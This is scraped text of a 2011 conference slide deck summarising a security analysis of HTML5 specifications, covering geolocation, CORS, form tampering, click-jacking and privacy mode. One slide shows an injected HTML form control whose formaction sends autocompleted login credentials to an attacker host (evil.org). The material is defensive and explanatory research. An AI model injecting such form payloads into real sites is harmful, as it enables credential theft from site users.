480 likes | 597 Views
Security of HTML5 and accompanying specifications . Lieven Desmet Lieven.Desmet@cs.kuleuven.be OWASP BeNeLux Days 2011 – 2/12/2011 . About myself. Lieven Desmet Research manager of the DistriNet Research Group ( K.U.Leuven , Belgium) DistriNet Research Group
E N D
Security of HTML5 and accompanying specifications LievenDesmet Lieven.Desmet@cs.kuleuven.be OWASP BeNeLux Days 2011 – 2/12/2011
About myself • LievenDesmet • Research manager of the DistriNet Research Group (K.U.Leuven, Belgium) • DistriNet Research Group • 70 researchers (10 professors) • Secure Software & Distributed Software
Web Application Security Team • CSRF protection: CsFire • FireFox extension • 37K+ download • 4000+ daily users • Secure Mashup Composition • HTML5 security • Information Flow Control for Javascript • Secure Session Manangement
Overview Introduction Scope of the analysis Methodology HTML5 security: Analysis results Cross-specification results Conclusions
Introduction Integration of third-party JavaScript
Third-party JavaScript is everywhere • Advertisements • Adhese ad network • Social web • Facebook Connect • Google+ • Twitter • Feedsburner • Tracking • Scorecardresearch • Web Analytics • Yahoo! Web Analytics • Google Analytics • …
Integration of third-party JavaScript • Two basic composition techniques • Script inclusion • Third-party script run’s in the execution context (i.e. origin) of the embedding page • Script has access to all the sensitive operations in this context • (Sandboxed) iframe integration • Third-party component runs in a separate security context (i.e. the origin of the third-party service provider) • Isolation between service provider and embedding page is realised via the Same-Origin Policy
Script inclusion vs iframe integration <html> <body> … <script src=“http://3rdparty.com/script.js”> </script> … </body> </html> 3rd party <html> <body> … <iframesrc=“http://3rdparty.com/frame.html”> </iframe> … </body> </html> 3rd party
Scope of the analysis HTML5 and accompanying specifications
W3C specifications in scope • HTML 5 specification • Cross-domain communication • XML Http Request levels 1 and 2 • Uniform Messaging Policy • Cross-Origin Resource Sharing • Inter-window communication • HTML5 Web Messaging • Media • Media Capture API • Client-side storage • Web Storage • Device access • Geolocation API Specification • System Information API • Permissions for Device API Access • Device API Privacy Requirements
Analysis of the specifications • A Security Analysis of Next Generation Web Standards • Commissioned by European Network and Information Security Agency (ENISA) • Performed by DistriNet Research Group • Full report available at http://www.enisa.europa.eu/html5
Methodology • Iterative and repeatable process • Applied to 13 specifications in scope • 1000+ pages of specification! • Analysis driven by four security questions • Results were captured in three steps • Specification summary • Analysis result of specification in isolation • Cross-specification analysis results
Scope • Focus on newly introduced features • No specific focus for classic issues • E.g. XSS vectors, session management • Included when relevant for new features • Already extensive work on XSS attack vectors • See html5sec.org
Assets and attacker model 1Based on attacker types used by Barth et al. in ‘Securing frame communication in browsers’ (USENIX Security Symposium 2008) • Assets: • Application-specific data and functionality • Page content, DOM elements, JavaScript code, … • End-user data and identity • Cookies, local storage, user/media input, geolocation, … • Contextual Data • Device/sensor information, geolocation, referer, origin, … • Attacker model1 • Web attacker • has control over one or more malicious website(s) • Gadget attacker • has control over 3rd party JavaScript content, embedded via an integrator
Four security questions • SQ1: Are the security-relevant aspects of the newly introduced capabilities well-defined and secure? • privacy problems, unprotected features, … • SQ2: Do the new specifications violate isolation properties between origins or restricted contexts? • sandboxes or private browsing mode • SQ3: Is the new specification consistent with other specifications? • Permission management, ways to access information, … • SQ4: How do the security measures of the specification rely on the user making correct security decisions? • which decisions does the user have to make
3-step analysis • Step 1: Security-focused study of the specification in isolation: • Capabilities: enlisting functional capabilities offered by the spec • User Involvement: how and when is the user involved in granting access • Security/privacy considerations: both explicit and implicit considerations • Step 2: Identification of specification-specific threats and underspecified behavior • Step 3: identification of cross-specification issues: • Inconsistencies between the specifications • Interaction of features across specifications
Analysis sample: Geolocation API (version: 07 sept. 2010) • Capabilities: • Access to the current location • Both one-shot and monitoring • Security and Privacy • Consent is required! • Spec already explicitly mentions several privacy considerations • Recipients must not retransmit the location information • The UA should add location sharing-awareness
Analysis sample: Geolocation API (1) • Threat: Cache Polling • Location retrieval from cache can be forced • Using a maxAge attribute, the age of the location can be determined • Underspecification: Monitoring Lifetime • The location can be monitored with a “watch process” • This process can be canceled • Does it disappear if the document no longer exists?
Analysis sample: Geolocation API (2) • Underspecification: Behavior in restricted contexts • Can sandboxed document request location? • Which origin is used in the consent UI? • Can the permission be stored? • Private browsing mode? • Are stored permissions valid? • If a permission is obtained in private browsing mode, can it be stored?
Analysis sample: Geolocation API (3) • User Involvement: Permission management • UI elements • The UI has to mention the origin • The UI does not have to indicate the nature of the permission (one-shot or monitoring) • Long-term permission management • Vaguely specified: “should be easily revocable” • In practice: non-intuitive implementation
Some identified threats • CORS: Interaction with legacy servers • HTML5: Form Tampering • HTML5: Disabling Click-jacking Protection • HTML5: Protocol/content Handlers • …
CORS: Interaction with legacy servers • Cross-Origin Resource Sharing • Allows cross-origin XMLHttpRequest • Supply Origin header to server • Server optionally includes permission header • Browser only gives access to response if permission header is present • Preflight for complex POST / PUT / DELETE • First check with OPTIONS if request is allowed • Only then send the actual request
Detailed Analysis: CORS Legacy Servers • Protect legacy servers • Not CORS aware, so no response headers • No access to response • No more capabilities than with HTML • Allows cross-origin GET/POST • Restricted by form capabilities
Detailed Analysis: CORS Legacy Servers <input type=“text” name=“BEGIN:VCALENDARVERSION:2.0…;CN” value=“John Doe:…”/> • Legacy servers not always protected • Forms are bound to key=value body format • XHR is not • Many formats contain =, so can still be sent as a form • Servers using format without = are not protected • E.g. JSON API?
Detailed Analysis: CORS Legacy Servers • Protecting legacy servers • Check format of body • Must match content type • No more capabilities than normal forms
HTML5: Form Tampering <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> • Controls can occur outside form element • Associated with a form • Nearest form or form attribute • Supports valid nesting of forms
Detailed Analysis: Form Tampering <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” required /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version” novalidate/> • Attributes can modify form behavior • Only applies to submission controls • Change action,enctype, method, novalidate and target
Detailed Analysis: Form Tampering <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> • Example: page containing login form • Often autocompleted by browser • Credentials submitted to server
Detailed Analysis: Form Tampering New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> • Example: page containing login form • Also displays user supplied data • Naturally, XSS content filtering is in place! • Malicious user injects plain HTML code • Evil page records credentials • Automatically submits form to original destination
HTML5: Disabling Click-jacking Protection • Some state-of-practice click-jacking defense techniques use javascript to navigate top-level window • if (self != top) {top.location = self.location; } • By using a sandboxed iframe, an attacker can • disable top-level navigation • force a page to be framed
HTML5: Protocol/content Handlers • Sites can register as a handler • for a protocol (e.g. sms://) • for a MIME type (e.g. application/pdf) • Every matching URL is sent to handler • restrictions are mentioned • Only idem-potent requests, no HTTPS, no authentication credentials … • Actual implementation up to user agents
Protocol / Content Handlers Tricking the user into installing a handler Installing a handler to hijack all/a lot of traffic • Actual implementation … • Asking for permission is optional • Overriding existing schemes (e.g. HTTP(S)) is not recommended • Overwriting defaults is not recommended • The title property should not be relied upon • A title can be used to indicate the purpose
Cross-specification results Inconsistencies in permission management Underspecification for restricted contexts (sandbox/private browsing mode)
Need for consistent Permission Mgmt • Permission base and types • Use the same permission base • Different permission properties remain • Persistency, one-shot vs monitoring, … • Enforce the same UI reqs • Mandatory dialog elements • Awareness indicators • Management interface
Solution: Dedicated Permission API ? • Specifies different permission types • Reference from other APIs • Indicate which permission types are applicable • Already work in progress: Feature Permissions (W3C) • Specifies how to request permissions • No mention about UI requirements
Privacy Mode • Browsing without a trail • aka Private Browsing Mode, InPrivate browsing, Incognito mode • Prevents access to locally stored data • Cookies, Web Storage, Databases, … • Ensures no data stored after leaving privacy mode
Privacy Mode A site can find (vendor-specific) ways to share information between normal mode and privacy mode Firefox allows a site to reuse a permission, granted in a normal context, in a private browsing context • Unspecified! • Not part of any official specification • Implemented by all major browsers • Freedom to choose concrete implementation • Different visions on privacy mode
Conclusion • Tons of new features will become available to third-party JavaScript • Analysis results • Overal quality of the specification is quite OK • Limited number of threats identified • Lack consistency in permission management, user consent • Underspecification in restricted contexts • Only coarse-grained control over available APIs
Next steps Issues have been communicated with W3C and on specification mailinglists Translating knowledge in security guidelines for developers and website owners Evaluating the browser compliance towards the specifications
More info… A Security Analysis of Next Generation Web Standards Full report available at the ENISA: http://www.enisa.europa.eu/html5